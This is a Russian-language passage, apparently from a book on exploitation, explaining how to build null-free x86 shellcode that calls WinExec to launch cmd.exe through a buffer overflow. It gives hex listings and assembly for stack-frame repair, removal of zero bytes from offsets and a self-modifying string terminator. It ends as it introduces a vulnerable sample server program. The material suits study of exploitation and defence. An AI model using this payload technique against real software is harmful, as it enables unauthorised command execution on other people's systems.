· 00000000: 68 78 56 34 12 push 012345678;
· 00000005: 68?????? ?? push offset cmdLine;
· 0000000A: B8 01 86 E9 77 mov eax,077E98601;"
· 0000000F: FF D0 call eax
Всего шестнадцать байт без учета длины имени файла и кода, возвращающего управление основной ветке программы.
Некоторые пояснения: поскольку, функции API Windows вызываются по соглашению PASCAL, то аргументы заносятся в стек справа на лево, и выталкивает их из стека сама вызываемая функция. Первой передается константа WS_SHOW, равная пяти. Если передать любое другое ненулевое значение, функция все равно отработает успешно, но появится возможность избавится от трех нулей, присутствующих в двойном слове, младший байт которого равен пяти. Смещение строки, содержащей имя файла, так же содержит нуль в своем старшем байте, от которого необходимо избавится. Так же необходимо как-то освободится от завершающего строку нуля.
Если приведенный выше код расположить в локальном буфере функции и передать ему управление командой ret, он окажется неработоспособным. До выхода из функции пространство стека, занятое локальными переменными, освобождается: регистр указателя верхушки стека смещается вниз на дно кадра стека, а поскольку функция WinExec интенсивно использует стек, то, с вероятностью близкой к единице, код, вызывающий WinExec, окажется уничтожен и после возврата из функции произойдет исключение, приводящее к аварийному завершению программы. Во избежание этого необходимо «поднять» указатель верхушки стека, восстанавливая кадр стека. Для этого можно воспользоваться командой “SUB ESP,??”, которая в шестнадцатеричных кодах выглядит так: “83 EC??”, и не содержит нулей в старших байтах константы, поскольку ей отводится всего один знаковый байт, который может принимать значения от -0x7F до 0x7F. Если этого окажется недостаточно, можно использовать несколько команд “SUB ESP,??” или поискать какие-нибудь другие решения (которых просто море).
Избавится от нуля в смещении строки можно, например, следующим образом: запустить отладчик и установить точку останова на команде “ret”. Дождавшись всплытия отладчика, выбрать регистр, старшее слово которого совпадает со смещением строки. Если же такового не окажется, можно прибегнуть к следующему приему:
· 00000000: 33 C0 xor eax,eax
· 00000002: B0?? mov al,??;"f
· 00000004: C1 E0 10 shl eax,010;
· 00000007: 66 B8???? mov ax,????;
Не сложнее избавится и от нуля, завершающего строку. Достаточно прибегнуть, например, к самомодифицирующемуся коду, который может выглядеть, например, следующим образом (регистр EAX должен указывать на начало строки):
· 00000000: FE4007 inc b,[eax][00007]
· 000000x0: 63 ‘c’
· 000000x1: 6D ‘m’
· 000000x2 64 ‘d’
· 000000x3: 2E ‘.’
· 000000x4: 65 ‘e’
· 000000x5 78 ‘x’
· 000000x6: 65 ‘e’
· 000000x7: FF ‘\xFF’
Строку завершает байт 0xFF, который командой INC, превращается в ноль! Разумеется, допустимо использовать и другие математические операции, например, SUB или логические XOR, AND.
Объединив все вышесказанное, можно получить код, который может выглядеть, например, так:
· 00000000: 83 EC?? sub esp,??;
· 00000003: 33 C0 xor eax,eax
· 00000005: B0?? mov al,??;
· 00000007: 50 push eax;
· 00000008: C1 E0 10 shl eax,010;
· 0000000B: 66 B8???? mov ax,????;
· 0000000F: FE 40 07 inc b,[eax][00007];
· 00000012: 50 push eax;
· 00000013: B8 01 86 E9 77 mov eax,077E98601;"
· 00000018: FF D0 call eax;
· 0000001A: EB FE jmps 00000001A;
· 0000001C: 63 ‘c’;
· 0000001D: 6D ‘m’;
· 0000001E: 64 ‘d’;
· 0000001F: 2E ‘.’;
· 00000020: 65 ‘e’;
· 00000021: 78 ‘x’;
· 00000022: 65 ‘e’;
· 00000023: FF ‘\xFF’;
Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое лучшее решение, однако, чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е. не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако, возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случаях можно обойтись и без этого [326].
Пусть, например, имеется следующая программа, содержащая ошибку переполнения буфера (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.cmd.c”):